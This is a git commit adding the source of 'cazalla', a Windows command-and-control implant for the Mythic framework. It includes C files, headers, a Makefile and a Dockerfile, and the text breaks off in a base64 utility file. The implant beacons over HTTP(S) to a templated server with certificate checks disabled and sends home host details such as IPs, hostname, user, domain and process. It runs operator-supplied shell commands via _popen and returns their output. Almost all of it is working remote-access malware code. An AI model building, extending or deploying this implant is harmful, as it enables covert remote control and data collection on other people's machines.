v0.3:Conectividad y exit

This commit is contained in:
marcos.luna
2025-04-02 16:45:10 +02:00
commit c29f059fff
46 changed files with 2485 additions and 0 deletions
View File
+28
View File
@@ -0,0 +1,28 @@
Copyright (c) 2023, its-a-feature
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
* Redistributions of source code must retain the above copyright notice, this
list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
* Neither the name of [project] nor the names of its
contributors may be used to endorse or promote products derived from
this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
View File
+25
View File
@@ -0,0 +1,25 @@
FROM python:3.11
ARG CA_CERTIFICATE
ARG NPM_REGISTRY
ARG PYPI_INDEX
ARG PYPI_INDEX_URL
ARG DOCKER_REGISTRY_MIRROR
ARG HTTP_PROXY
ARG HTTPS_PROXY
RUN apt-get -y update && \
apt-get -y upgrade && \
apt-get install --no-install-recommends \
software-properties-common apt-utils zip make build-essential libssl-dev zlib1g-dev libbz2-dev \
xz-utils tk-dev libffi-dev liblzma-dev libsqlite3-dev protobuf-compiler mingw-w64 nasm -y && \
apt-get purge -y && \
rm -rf /var/lib/apt/lists/* && \
apt-get clean
COPY requirements.txt /
RUN pip3 install -r /requirements.txt
WORKDIR /Mythic/
CMD ["python3", "main.py"]
View File
+20
View File
@@ -0,0 +1,20 @@
import glob
import os.path
from pathlib import Path
from importlib import import_module, invalidate_caches
import sys
# Get file paths of all modules.
currentPath = Path(__file__)
searchPath = currentPath.parent / "agent_functions" / "*.py"
modules = glob.glob(f"{searchPath}")
invalidate_caches()
for x in modules:
if not x.endswith("__init__.py") and x[-3:] == ".py":
module = import_module(f"{__name__}.agent_functions." + Path(x).stem)
for el in dir(module):
if "__" not in el:
globals()[el] = getattr(module, el)
sys.path.append(os.path.abspath(currentPath.name))
@@ -0,0 +1,115 @@
#include "analizador.h"
//Creacion de un nuevo Analizador.
PAnalizador nuevoAnalizador(PBYTE buffer, SIZE_T tamano) {
//v2 change to syscalls
PAnalizador pAnalizador = (PAnalizador)LocalAlloc(LPTR, sizeof(Analizador));
pAnalizador->buffer = NULL;
pAnalizador->tamano = tamano;
pAnalizador->tamanoOriginal = tamano;
pAnalizador->original = (PBYTE)LocalAlloc(LPTR, tamano);
if (!pAnalizador->original) {
return NULL;
}
memcpy(pAnalizador->original, buffer, tamano);
pAnalizador->buffer = pAnalizador->original;
return pAnalizador;
}
VOID liberarAnalizador(PAnalizador analizador) {
analizador->original = NULL;
analizador->buffer = NULL;
LocalFree(analizador);
}
BYTE getByte(PAnalizador analizador) {
BYTE intByte = 0;
if (analizador->tamano < 1) {
return 0;
}
//v2. Syscalls
memcpy(&intByte, analizador->buffer, 1);
analizador->buffer += 1;
analizador->tamano -= 1;
return intByte;
}
UINT32 getInt32(PAnalizador analizador) {
UINT32 intByte = 0;
if (analizador->tamano < 4) {
return 0;
}
//v2. Syscalls
memcpy(&intByte, analizador->buffer, 4);
analizador->buffer += 4;
analizador->tamano -= 4;
return BYTESWAP32(intByte);
}
UINT64 getInt64(PAnalizador analizador) {
UINT64 intByte = 0;
if (analizador->tamano < 8) {
return 0;
}
//v2. Syscalls
memcpy(&intByte, analizador->buffer, 8);
analizador->buffer += 8;
analizador->tamano -= 8;
return BYTESWAP64(intByte);
}
PBYTE getBytes(PAnalizador analizador, PSIZE_T tamano) {
SIZE_T length = 0;
if (*tamano == 0) {
length = getInt32(analizador);
*tamano = length;
}
else {
length = *tamano;
}
PBYTE datosDeSalida = (PBYTE)LocalAlloc(LPTR, length);
if (!datosDeSalida) {
return NULL;
}
memcpy(datosDeSalida, analizador->buffer, length);
analizador->buffer += length;
analizador->tamano -= length;
return datosDeSalida;
}
PCHAR getString(PAnalizador analizador, PSIZE_T tamano) {
return (PCHAR)getBytes(analizador, tamano);
}
PWCHAR getWString(PAnalizador analizador, PSIZE_T tamano) {
return (PWCHAR)getBytes(analizador, tamano);
}
@@ -0,0 +1,13 @@
#pragma once
#define initUUID "%UUID%"
#define hostname L"%HOSTNAME%"
#define endpoint L"%ENDPOINT%"
#define ssl %SSL%
#define proxyenabled %PROXYENABLED%
#define proxyurl L"%PROXYURL%"
#define useragent L"%USERAGENT%"
#define httpmethod L"POST"
#define port %PORT%
#define sleep_time %SLEEPTIME%
@@ -0,0 +1,43 @@
# Compiler
CC = x86_64-w64-mingw32-gcc
CFLAGS = -Wall -w -s -IInclude
LFLAGS = -liphlpapi -lnetapi32 -lwininet -lws2_32 -lwinhttp
DFLAGS = -D_DEBUG
# Directories
SRC_FILES := *.c
BUILD_DIR = build
# Ensure build directory exists
$(shell mkdir -p $(BUILD_DIR))
# Build Targets
all: exe dll
exe: $(BUILD_DIR)/cazalla.exe
dll: $(BUILD_DIR)/cazalla.dll
debug: debug_exe debug_dll
debug_exe: $(BUILD_DIR)/cazalla-debug.exe
debug_dll: $(BUILD_DIR)/cazalla-debug.dll
# Executable Target
$(BUILD_DIR)/cazalla.exe: $(SRC_FILES)
$(CC) $^ -o $@ $(CFLAGS) -D_EXE $(LFLAGS)
$(BUILD_DIR)/cazalla-debug.exe: $(SRC_FILES)
$(CC) $^ -o $@ $(CFLAGS) -D_EXE $(LFLAGS) $(DFLAGS)
# DLL Target
$(BUILD_DIR)/cazalla.dll: $(SRC_FILES)
$(CC) $^ -o $@ -shared -D_DLL $(CFLAGS) $(LFLAGS)
$(BUILD_DIR)/cazalla-debug.dll: $(SRC_FILES)
$(CC) $^ -o $@ -shared -D_DLL $(CFLAGS) $(LFLAGS) $(DFLAGS)
# Clean up
clean:
rm -rf $(BUILD_DIR)
@@ -0,0 +1,26 @@
#pragma once
#ifndef ANALIZADOR_H
#define ANALIZADOR_H
#include "utils.h"
typedef struct {
PBYTE original;
PBYTE buffer;
SIZE_T tamano;
SIZE_T tamanoOriginal;
} Analizador, * PAnalizador;
PAnalizador nuevoAnalizador(PBYTE buffer, SIZE_T tamano);
VOID liberarAnalizador(PAnalizador analizador);
BYTE getByte(PAnalizador analizador);
UINT32 getInt32(PAnalizador analizador);
UINT64 getInt64(PAnalizador analizador);
PBYTE getBytes(PAnalizador analizador, PSIZE_T tamano);
PCHAR getString(PAnalizador analizador, PSIZE_T tamano);
PWCHAR getWString(PAnalizador analizador, PSIZE_T tamano);
#endif
@@ -0,0 +1,37 @@
#include "cazalla.h"
#include "Config.h"
CONFIG_CAZALLA* cazallaConfig = NULL;
VOID cazallaMain() {
//v2: evitar LocalAlloc
cazallaConfig = (CONFIG_CAZALLA*)LocalAlloc(LPTR, sizeof(CONFIG_CAZALLA));
cazallaConfig->idAgente = (PCHAR)initUUID;
cazallaConfig->hostName = (PWCHAR)hostname;
cazallaConfig->puertoHttp = port;
cazallaConfig->endPoint = (PWCHAR)endpoint;
cazallaConfig->userAgent = (PWCHAR)useragent;
cazallaConfig->metodoHttp = (PWCHAR)httpmethod;
cazallaConfig->SSL = ssl;
cazallaConfig->proxyHabilitado = proxyenabled;
cazallaConfig->urlProxy = (PWCHAR)proxyurl;
cazallaConfig->tiempoSleep = sleep_time;
PAnalizador respuestaAnalizador = checkin();
if (!respuestaAnalizador) {
_err("error en el primer checkin, cerrando\n");
return;
}
parseChecking(respuestaAnalizador);
while (TRUE)
rutina();
}
VOID setUUID(PCHAR newUUID) {
cazallaConfig->idAgente = newUUID;
return;
}
@@ -0,0 +1,35 @@
#pragma once
#ifndef CAZALLA_H
#define CAZALLA_H
#include <windows.h>
#include "paquete.h"
#include "analizador.h"
#include "utils.h"
#include "checkin.h"
typedef struct {
// UUID
PCHAR idAgente;
//HTTP
PWCHAR hostName;
DWORD puertoHttp;
PWCHAR endPoint;
PWCHAR userAgent;
PWCHAR metodoHttp;
BOOL SSL;
BOOL proxyHabilitado;
PWCHAR urlProxy;
UINT32 tiempoSleep;
}CONFIG_CAZALLA, * PCONFIG_CAZALLA;
extern PCONFIG_CAZALLA cazallaConfig;
VOID setUUID(PCHAR newUUID);
VOID cazallaMain();
#endif
@@ -0,0 +1,35 @@
#include "cerrarCallback.h"
#include "paquete.h"
#include <processthreadsapi.h>
BOOL cerrarCallback(PAnalizador argumentos){
SIZE_T tamanoUuid = 36;
PCHAR tareaUuid = getString(argumentos, &tamanoUuid);
// Crear paquete de respuesta
PPaquete paquete = nuevoPaquete(POST_RESPONSE, TRUE);
// Si falla la creación del paquete, cerramos con error
if (!paquete) {
ExitProcess(1);
return FALSE;
}
// Agregar el UUID de la tarea
addString(paquete, tareaUuid, FALSE);
// Indicar que la tarea se completó con éxito
addByte(paquete, TASK_COMPLETE);
// Enviar el paquete
mandarPaquete(paquete);
// Liberar memoria del paquete
liberarPaquete(paquete);
// Terminar el proceso
ExitProcess(0);
return TRUE;
}
@@ -0,0 +1,11 @@
#pragma once
#ifndef EXIT_H
#define EXIT_H
#include <windows.h>
#include "analizador.h"
BOOL cerrarCallback(PAnalizador argumentos);
#endif //EXIT_H
@@ -0,0 +1,196 @@
#include "checkin.h"
#include "cazalla.h"
#pragma comment(lib, "iphlpapi.lib")
#include <iphlpapi.h>
// Obtener Direcciones IPs.
UINT32* obtenerDireccionIP(UINT32* numeroDeIPs) {
PMIB_IPADDRTABLE pTablaDireccionesIP;
DWORD dwSize = 0;
DWORD dwRetVal = 0;
IN_ADDR IPAddr;
LPVOID lpMsgBuf;
pTablaDireccionesIP = (MIB_IPADDRTABLE*)LocalAlloc(LPTR, sizeof(MIB_IPADDRTABLE));
if (pTablaDireccionesIP) {
if (GetIpAddrTable(pTablaDireccionesIP, &dwSize, 0) == ERROR_INSUFFICIENT_BUFFER) {
LocalFree(pTablaDireccionesIP);
pTablaDireccionesIP = (MIB_IPADDRTABLE*)LocalAlloc(LPTR, dwSize);
}
if (pTablaDireccionesIP == NULL) {
return NULL;
}
}
else {
return NULL;
}
if ((dwRetVal = GetIpAddrTable(pTablaDireccionesIP, &dwSize, 0)) != NO_ERROR) {
return NULL;
}
else {
*numeroDeIPs = (UINT32)pTablaDireccionesIP->dwNumEntries;
}
UINT32* tableOfIPs = (UINT32*)LocalAlloc(LPTR, (*numeroDeIPs) * sizeof(UINT32));
for (UINT32 i = 0; i < *numeroDeIPs; i++) {
IPAddr.S_un.S_addr = (u_long)pTablaDireccionesIP->table[i].dwAddr;
tableOfIPs[i] = BYTESWAP32(IPAddr.S_un.S_addr);
}
if (pTablaDireccionesIP) {
LocalFree(pTablaDireccionesIP);
}
return tableOfIPs;
}
// Obtener la arquitectura
BYTE obtenerArquitectura() {
SYSTEM_INFO informacionDelSistema;
GetNativeSystemInfo(&informacionDelSistema);
if (informacionDelSistema.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64 || informacionDelSistema.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_IA64) {
return 0x64;
}
return 0x86;
}
// Obtener el Hostname
PCHAR obtenerHostame() {
LPSTR datos = NULL;
DWORD dataLen = 0;
const char* hostnameRep = "N/A";
if (!GetComputerNameExA(ComputerNameNetBIOS, NULL, &dataLen))
{
if (datos = (LPSTR)LocalAlloc(LPTR, dataLen))
{
GetComputerNameExA(ComputerNameNetBIOS, datos, &dataLen);
hostnameRep = datos;
}
}
return (char*)hostnameRep;
}
// Obtener el usuario
char* obtenerUsuarios() {
LPSTR datos = NULL;
DWORD dataLen = 0;
const char* usuario = "N/A";
if (!GetUserNameA(NULL, &dataLen)) {
if (datos = (LPSTR)LocalAlloc(LPTR, dataLen)) {
GetUserNameA(datos, &dataLen);
usuario = datos;
}
}
return (char*)usuario;
}
// Obtener el dominio
LPWSTR obtenerDominio() {
DWORD dwLevel = 102;
LPWKSTA_INFO_102 pBuf = NULL;
PWCHAR dominio = NULL;
NET_API_STATUS nStatus;
LPWSTR pszServerName = NULL;
nStatus = NetWkstaGetInfo(pszServerName, dwLevel, (LPBYTE*)&pBuf);
if (nStatus == NERR_Success) {
DWORD length = lstrlenW(pBuf->wki102_langroup);
dominio = (PWCHAR)LocalAlloc(LPTR, sizeof(WCHAR) * length);
memcpy(dominio, pBuf->wki102_langroup, sizeof(WCHAR) * length);
}
if (pBuf != NULL) {
NetApiBufferFree(pBuf);
}
return dominio;
}
char* getOsName() {
return (PCHAR)"Windows";
}
// Obtener el nombre del proceso actual
char* obtenerNombreProceso() {
char* nombreProceso = NULL;
HANDLE handle = GetCurrentProcess();
if (handle) {
DWORD buffSize = 1024;
CHAR buffer[1024];
if (QueryFullProcessImageNameA(handle, 0, buffer, &buffSize)) {
nombreProceso = (char*)LocalAlloc(LPTR, buffSize + 1);
memcpy(nombreProceso, buffer, buffSize);
}
CloseHandle(handle);
}
return nombreProceso;
}
PAnalizador checkin() {
UINT32 numeroDeIPs = 0;
PPaquete checkin = nuevoPaquete(CHECKIN, TRUE);
if (!checkin) {
_err("Error: nuevoPaquete() devolvió NULL en checkin\n");
return NULL;
}
addString(checkin, (PCHAR)cazallaConfig->idAgente, FALSE);
UINT32* tableOfIPs = obtenerDireccionIP(&numeroDeIPs);
addInt32(checkin, numeroDeIPs);
for (UINT32 i = 0; i < numeroDeIPs; i++) {
addInt32(checkin, tableOfIPs[i]);
}
addString(checkin, getOsName(), TRUE);
addByte(checkin, obtenerArquitectura());
addString(checkin, obtenerHostame(), TRUE);
addString(checkin, obtenerUsuarios(), TRUE);
addWString(checkin, obtenerDominio(), TRUE);
addInt32(checkin, GetCurrentProcessId());
addString(checkin, obtenerNombreProceso(), TRUE);
addString(checkin, (PCHAR)"1.1.1.1", TRUE);
PAnalizador respuestaAnalizador = mandarPaquete(checkin);
liberarPaquete(checkin);
if (!respuestaAnalizador) {
_err("parece que la respuesta del parser es incorrecta, y por lo tanto, la aplicacion va a cerrarse\n");
return NULL;
}
return respuestaAnalizador;
}
@@ -0,0 +1,17 @@
#pragma once
#ifndef CHECKIN_H
#define CHECKIN_H
#include <windows.h>
#include <lm.h>
#include <lmwksta.h>
#include "paquete.h"
#include "transporte.h"
#include "analizador.h"
#include "comandos.h"
#pragma comment(lib, "netapi32.lib")
PAnalizador checkin();
#endif
@@ -0,0 +1,78 @@
#include "cazalla.h"
#include "comandos.h"
BOOL handleGetTasking(PAnalizador obtenerTarea) {
UINT32 numeroTareas = getInt32(obtenerTarea);
if (numeroTareas) {
_dbg("[Tareas] hay %d tareas !\n", numeroTareas);
}
for (UINT32 i = 0; i < numeroTareas; i++) {
SIZE_T tamanoTarea = getInt32(obtenerTarea) - 1; //restamos 1 al taskID
BYTE tarea = getByte(obtenerTarea);
PBYTE bufferTarea = getBytes(obtenerTarea, &tamanoTarea);
PAnalizador analizadorTarea = nuevoAnalizador(bufferTarea, tamanoTarea);
if (tarea == SHELL_CMD)
{
ejecutarConsola(analizadorTarea);
}
else if (tarea == EXIT_CMD) {
cerrarCallback(analizadorTarea);
}
}
return TRUE;
}
BOOL commandDispatch(PAnalizador respuesta) {
BYTE tipoRespuesta = getByte(respuesta);
if (tipoRespuesta == GET_TASKING) {
return handleGetTasking(respuesta);
}
else if (tipoRespuesta == POST_RESPONSE) {
return TRUE;
}
return TRUE;
}
BOOL parseChecking(PAnalizador respuestaAnalizador) {
if (getByte(respuestaAnalizador) != CHECKIN) {
liberarAnalizador(respuestaAnalizador);
return FALSE;
}
SIZE_T tamanoUuid = 36;
PCHAR nuevoUuid = getString(respuestaAnalizador, &tamanoUuid);
setUUID(nuevoUuid);
_dbg("[Tareas] Tenemos nuevo UUID ! --> %s\n", nuevoUuid);
liberarAnalizador(respuestaAnalizador);
return TRUE;
}
BOOL rutina() {
PPaquete obtenerTarea = nuevoPaquete(GET_TASKING, TRUE);
addInt32(obtenerTarea, NUMBER_OF_TASKS);
Analizador* respuestaAnalizador = mandarPaquete(obtenerTarea);
// sin respuesta
if (!respuestaAnalizador) {
return FALSE;
}
commandDispatch(respuestaAnalizador);
// Sleep
Sleep(cazallaConfig->tiempoSleep);
return TRUE;
}
@@ -0,0 +1,23 @@
#pragma once
#ifndef COMMANDOS
#define COMMANDOS
#include "analizador.h"
#include "paquete.h"
#include "consola.h"
#include "cerrarCallback.h"
#define SHELL_CMD 0x54
#define GET_TASKING 0x00
#define POST_RESPONSE 0x01
#define CHECKIN 0xf1
#define NUMBER_OF_TASKS 1
#define EXIT_CMD 0x80
BOOL parseChecking(PAnalizador respuestaAnalizador);
BOOL rutina();
#endif
@@ -0,0 +1,38 @@
#include "consola.h"
BOOL ejecutarConsola(PAnalizador argumentos) {
SIZE_T tamanoUuid = 36;
PCHAR tareaUuid = getString(argumentos, &tamanoUuid);
UINT32 nbArg = getInt32(argumentos);
SIZE_T tamano = 0;
PCHAR comando = getString(argumentos, &tamano);
comando = (PCHAR)LocalReAlloc(comando, tamano + 1, LMEM_MOVEABLE | LMEM_ZEROINIT);
FILE* fp;
CHAR ruta[1035];
PPaquete respuestaTarea = nuevoPaquete(POST_RESPONSE, TRUE);
addString(respuestaTarea, tareaUuid, FALSE);
//paquete temporal para la salida
PPaquete salida = nuevoPaquete(0, FALSE);
fp = _popen(comando, "rb");
if (!fp) {
_err("[Consola] Error ejecutando el comando");
return FALSE;
}
while (fgets(ruta, sizeof(ruta), fp) != NULL) {
addString(salida, ruta, FALSE);
}
addBytes(respuestaTarea, (PBYTE)salida->buffer, salida->length, TRUE);
_pclose(fp);
Analizador* respuestaAnalizador = mandarPaquete(respuestaTarea);
return TRUE;
}
@@ -0,0 +1,7 @@
#pragma once
#include <windows.h>
#include "paquete.h"
#include "analizador.h"
#include "comandos.h"
BOOL ejecutarConsola(PAnalizador argumentos);
@@ -0,0 +1,42 @@
#pragma once
#include <stdio.h>
#if defined(_DEBUG)
#define DBG "DBG"
#define ERR "ERR"
#define WRN "WRN"
#define INF "INF"
#define _log(level, format, ...) printf("[%s] %s:%d - " format "\n", level, __FUNCTION__, __LINE__, ## __VA_ARGS__);
#define _dbg(format, ...) _log(DBG, format, ## __VA_ARGS__)
#define _err(format, ...) _log(ERR, format, ## __VA_ARGS__)
#define _wrn(format, ...) _log(WRN, format, ## __VA_ARGS__)
#define _inf(format, ...) _log(INF, format, ## __VA_ARGS__)
#elif defined(_DEBUG_RELEASE)
#define DBG
#define ERR
#define WRN
#define INF
#define _log(level, format, ...) {HANDLE debugFile = CreateFileA("C:\\Temp\\Ra.log", FILE_APPEND_DATA , 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);\
CHAR out[200] = { 0 };\
sprintf(out, format"\n", ## __VA_ARGS__);\
WriteFile(debugFile, out, strlen(out), NULL, NULL);\
CloseHandle(debugFile);}
#define _dbg(format, ...) _log(DBG, format, ## __VA_ARGS__)
#define _err(format, ...) _log(ERR, format, ## __VA_ARGS__)
#define _wrn(format, ...) _log(WRN, format, ## __VA_ARGS__)
#define _inf(format, ...) _log(INF, format, ## __VA_ARGS__)
#else
#define DBG
#define ERR
#define WRN
#define INF
#define _log(level, format, ...)
#define _dbg(format, ...)
#define _err(format, ...)
#define _wrn(format, ...)
#define _inf(format, ...)
#endif
@@ -0,0 +1,12 @@
#include "cazalla.h"
//#ifdef _DEBUG
//int main()
//#else
int WINAPI WinMain(_In_ HINSTANCE hInstance, _In_opt_ HINSTANCE hPrevInstance, _In_ LPSTR szArgs, _In_ int nCmdShow)
//#endif
{
cazallaMain();
return 0;
}
@@ -0,0 +1,122 @@
#include "cazalla.h"
#include "paquete.h"
//Creacion de un nuevo paquete. Si init es true, agrega el id del comando y el UUID al paquete.
PPaquete nuevoPaquete(BYTE idComando, BOOL init) {
//v2 change to syscalls
PPaquete paquete = (PPaquete)LocalAlloc(LPTR, sizeof(Paquete));
if (!paquete) {
_err("Error: fallo al asignar memoria para Paquete\n");
return NULL;
}
paquete->buffer = LocalAlloc(LPTR, sizeof(BYTE));
if (!paquete->buffer) {
return NULL;
}
paquete->length = 0;
if (init) {
addString(paquete, cazallaConfig->idAgente, FALSE);
addByte(paquete, idComando);
}
return paquete;
}
VOID liberarPaquete(PPaquete paquete) {
LocalFree(paquete->buffer);
LocalFree(paquete);
}
PAnalizador mandarPaquete(PPaquete paquete) {
PCHAR paqueteParaMandar = b64Codificado((const unsigned char*)paquete->buffer, paquete->length);
SIZE_T tamanoDelPaquete = b64tamanoCodificado(paquete->length);
PAnalizador respuesta = mandarYRecibir((PBYTE)paqueteParaMandar, tamanoDelPaquete);
if (!respuesta) {
paqueteParaMandar = NULL;
return NULL;
}
return respuesta;
}
BOOL addByte(PPaquete paquete, BYTE byte) {
//v2. Syscalls
paquete->buffer = LocalReAlloc(paquete->buffer, paquete->length + sizeof(BYTE), LMEM_MOVEABLE);
if (!paquete->buffer) {
return FALSE;
}
((PBYTE)paquete->buffer + paquete->length)[0] = byte;
paquete->length += 1;
return TRUE;
}
BOOL addInt32(PPaquete paquete, UINT32 valor) {
paquete->buffer = LocalReAlloc(paquete->buffer, paquete->length + sizeof(UINT32), LMEM_MOVEABLE | LMEM_ZEROINIT);
if (!paquete->buffer) {
return FALSE;
}
addInt32ToBuffer((PUCHAR)(paquete->buffer) + paquete->length, valor);
paquete->length += sizeof(UINT32);
return TRUE;
}
BOOL addInt64(PPaquete paquete, UINT64 valor) {
paquete->buffer = LocalReAlloc(paquete->buffer, paquete->length + sizeof(UINT64), LMEM_MOVEABLE | LMEM_ZEROINIT);
if (!paquete->buffer) {
return FALSE;
}
addInt64ToBuffer((PUCHAR)(paquete->buffer), valor);
paquete->length += sizeof(UINT64);
return TRUE;
}
BOOL addBytes(PPaquete paquete, PBYTE datos, SIZE_T tamano, BOOL tamanoCopia) {
if (tamanoCopia && tamano) {
if (!addInt32(paquete, tamano)) {
return FALSE;
}
}
if (tamano) {
paquete->buffer = LocalReAlloc(paquete->buffer, paquete->length + tamano, LMEM_MOVEABLE | LMEM_ZEROINIT);
if (!paquete->buffer) {
return FALSE;
}
if (tamanoCopia) {
addInt32ToBuffer((PUCHAR)paquete->buffer + (paquete->length - sizeof(UINT32)), tamano);
}
//v2.syscalls
memcpy((PBYTE)paquete->buffer + paquete->length, datos, tamano);
paquete->length += tamano;
}
return TRUE;
}
BOOL addString(PPaquete paquete, PCHAR datos, BOOL tamanoCopia) {
if (!addBytes(paquete, (PBYTE)datos, strlen(datos), tamanoCopia)) {
return FALSE;
}
return TRUE;
}
BOOL addWString(PPaquete paquete, PWCHAR datos, BOOL tamanoCopia) {
if (!addBytes(paquete, (PBYTE)datos, lstrlenW(datos) * 2, tamanoCopia)) {
return FALSE;
}
return TRUE;
}
@@ -0,0 +1,31 @@
#pragma once
#ifndef PAQUETE_H
#define PAQUETE_H
#include "utils.h"
#include "transporte.h"
#include "analizador.h"
#define TASK_COMPLETE 0x95
#define TASK_FAILED 0x99
typedef struct {
PVOID buffer;
SIZE_T length;
}Paquete, * PPaquete;
PPaquete nuevoPaquete(BYTE idComando, BOOL init);
VOID liberarPaquete(PPaquete paquete);
PAnalizador mandarPaquete(PPaquete paquete);
BOOL addByte(PPaquete paquete, BYTE byte);
BOOL addInt32(PPaquete paquete, UINT32 valor);
BOOL addInt64(PPaquete paquete, UINT64 valor);
BOOL addBytes(PPaquete paquete, PBYTE datos, SIZE_T tamano, BOOL tamanoCopia);
BOOL addString(PPaquete paquete, PCHAR datos, BOOL tamanoCopia);
BOOL addWString(PPaquete paquete, PWCHAR datos, BOOL tamanoCopia);
#endif
@@ -0,0 +1,123 @@
#include "transporte.h"
int obtenerCodigoDeEstado(HANDLE hPeticion) {
DWORD codigoDeEstado = 0;
DWORD tamanoEstado = sizeof(DWORD);
if (!WinHttpQueryHeaders(hPeticion, WINHTTP_QUERY_STATUS_CODE | WINHTTP_QUERY_FLAG_NUMBER, WINHTTP_HEADER_NAME_BY_INDEX, &codigoDeEstado, &tamanoEstado, WINHTTP_NO_HEADER_INDEX))
return 0;
return codigoDeEstado;
}
Analizador* realizarPeticionHTTP(PBYTE bufferIn, UINT32 bufferLen) {
HANDLE hSesion = NULL, hConexion = NULL, hPeticion = NULL;
DWORD dwTamano = 0, dwDescargado = 0, codigoDeEstado = 0;
PVOID respBuffer = NULL;
DWORD respSize = 0;
UCHAR buffer[1024] = { 0 };
DWORD httpFlags = WINHTTP_FLAG_BYPASS_PROXY_CACHE;
// Configuración de Proxy
WINHTTP_PROXY_INFO infoProxy = { 0 };
WINHTTP_CURRENT_USER_IE_PROXY_CONFIG configuracionProxy = { 0 };
WINHTTP_AUTOPROXY_OPTIONS opcionesProxyAutomaticas = { 0 };
DWORD tipoDeAcceso = WINHTTP_ACCESS_TYPE_NO_PROXY;
LPCWSTR httpProxy = WINHTTP_NO_PROXY_NAME;
LPCWSTR noProxyBypass = WINHTTP_NO_PROXY_BYPASS;
if (cazallaConfig->proxyHabilitado && cazallaConfig->urlProxy) {
tipoDeAcceso = WINHTTP_ACCESS_TYPE_NAMED_PROXY;
httpProxy = cazallaConfig->urlProxy;
}
if (cazallaConfig->SSL) {
httpFlags |= WINHTTP_FLAG_SECURE;
}
// Crear sesión HTTP
hSesion = WinHttpOpen(cazallaConfig->userAgent, tipoDeAcceso, httpProxy, noProxyBypass, 0);
if (!hSesion) return NULL;
// Conectar al servidor
hConexion = WinHttpConnect(hSesion, cazallaConfig->hostName, cazallaConfig->puertoHttp, 0);
if (!hConexion) return NULL;
// Crear petición HTTP/HTTPS
hPeticion = WinHttpOpenRequest(hConexion, cazallaConfig->metodoHttp, cazallaConfig->endPoint, NULL, NULL, NULL, httpFlags);
if (!hPeticion) return NULL;
// Configurar opciones de seguridad si es HTTPS
if (cazallaConfig->SSL) {
DWORD opcionesSeguridad = SECURITY_FLAG_IGNORE_UNKNOWN_CA |
SECURITY_FLAG_IGNORE_CERT_DATE_INVALID |
SECURITY_FLAG_IGNORE_CERT_CN_INVALID |
SECURITY_FLAG_IGNORE_CERT_WRONG_USAGE;
WinHttpSetOption(hPeticion, WINHTTP_OPTION_SECURITY_FLAGS, &opcionesSeguridad, sizeof(DWORD));
}
// Configurar proxy si está habilitado
if (WinHttpGetIEProxyConfigForCurrentUser(&configuracionProxy)) {
if (configuracionProxy.lpszProxy != NULL && lstrlenW(configuracionProxy.lpszProxy) != 0) {
infoProxy.dwAccessType = WINHTTP_ACCESS_TYPE_NAMED_PROXY;
infoProxy.lpszProxy = configuracionProxy.lpszProxy;
infoProxy.lpszProxyBypass = configuracionProxy.lpszProxyBypass;
WinHttpSetOption(hPeticion, WINHTTP_OPTION_PROXY, &infoProxy, sizeof(infoProxy));
}
}
// Enviar la petición
if (!WinHttpSendRequest(hPeticion, WINHTTP_NO_ADDITIONAL_HEADERS, 0, bufferIn, bufferLen, bufferLen, 0)) {
_err("WinHttpSendRequest falló con error %u\n", GetLastError());
return NULL;
}
// Recibir respuesta
if (!WinHttpReceiveResponse(hPeticion, NULL)) {
_err("Error al recibir respuesta HTTP\n");
return NULL;
}
codigoDeEstado = obtenerCodigoDeEstado(hPeticion);
if (codigoDeEstado != 200) {
_err("[HTTP] Código de estado no OK --> %d\n", codigoDeEstado);
return NULL;
}
// Leer respuesta
do {
dwTamano = 1024;
if (!WinHttpQueryDataAvailable(hPeticion, &dwTamano)) {
printf("[HTTP] Error %u en WinHttpQueryDataAvailable.\n", GetLastError());
return NULL;
}
if (!WinHttpReadData(hPeticion, buffer, 1024, &dwDescargado)) {
printf("[HTTP] Error %u en WinHttpReadData.\n", GetLastError());
return NULL;
}
respSize += dwDescargado;
if (!respBuffer) {
respBuffer = LocalAlloc(LPTR, respSize);
}
else {
respBuffer = LocalReAlloc(respBuffer, respSize, LMEM_MOVEABLE | LMEM_ZEROINIT);
}
memcpy((PBYTE)respBuffer + (respSize - dwDescargado), buffer, dwDescargado);
memset(buffer, 0, 1024);
} while (dwTamano > 0);
respBuffer = LocalReAlloc(respBuffer, respSize + 1, LMEM_MOVEABLE | LMEM_ZEROINIT);
return nuevoAnalizador((PBYTE)respBuffer, respSize);
}
Analizador* mandarYRecibir(PBYTE datos, SIZE_T tamano) {
#ifdef HTTP_TRANSPORT
return realizarPeticionHTTP(datos, tamano);
#endif
return NULL;
}
@@ -0,0 +1,16 @@
#pragma once
#ifndef TRANSPORTE
#define TRANSPORTE
#include <windows.h>
#include <winhttp.h>
#include "cazalla.h"
#include "analizador.h"
#pragma comment(lib, "winhttp.lib")
#define HTTP_TRANSPORT
Analizador* mandarYRecibir(PBYTE datos, SIZE_T tamano);
#endif
@@ -0,0 +1,193 @@
#include "utils.h"
int b64invs[] = { 62, -1, -1, -1, 63, 52, 53, 54, 55, 56, 57, 58,
59, 60, 61, -1, -1, -1, -1, -1, -1, -1, 0, 1, 2, 3, 4, 5,
6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20,
